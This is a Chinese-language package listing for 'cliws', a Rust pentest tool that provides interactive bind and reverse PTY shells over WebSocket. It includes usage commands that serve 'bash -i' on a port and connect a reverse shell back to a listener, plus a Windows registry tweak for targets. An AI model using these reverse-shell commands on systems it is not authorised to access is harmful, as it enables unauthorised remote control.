#shell #pentest #pty #interactive #terminal #set

app cliws

使用Rust编写的轻量级交互式绑定/反向PTY外壳实现

4 个版本 (2 个破坏性更新)

0.4.0 2022年7月31日
0.3.1 2022年7月7日
0.3.0 2022年4月16日
0.2.2 2022年3月8日
0.2.1 2021年11月28日

#173 in WebSocket

MIT 许可证

2MB
2K SLoC

Cliws 构建状态 ChatOnDiscord LastCommit Crate

使用Rust编写的轻量级交互式绑定/反向PTY外壳实现。

特性

  • WebSocket
  • 完整PTY支持:VIM、SSH、readline、Ctrl+X
  • 自动设置终端窗口大小。
  • 反向连接/绑定端口
  • 支持Win10+(Windows Server 2019+) & Linux & BSD & OSX

构建 & 运行

$>cargo build--release

$> ./target/release/cliws

安装

$>cargo install cliws

使用方法

绑定模式

您可以在8000端口运行bash并监听端口

$> ./cliws-p8000bash-i

然后连接并获取一个舒适的shell。

$> ./cliws-c ws://127.0.0.1:8000

反向模式

首先监听一个端口等待shell

$> ./cliws-l8000

然后建立一个反向连接

$> ./cliws-r ws://127.0.0.1:8000 bash -i

示例

Linux

image

Windows(反向模式)

image

无效字符

在Windows(Windows Terminal)中,默认的CodePage编码是UTF-8。当遇到其他语言操作系统的目标时,可能会出现无效字符。您可以尝试以下方法解决这个问题。

打开注册表编辑器并修改[Machine]\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage\OEMCP的值是65001(DEC)。

参考

依赖项

~136MB
~2.5M SLoC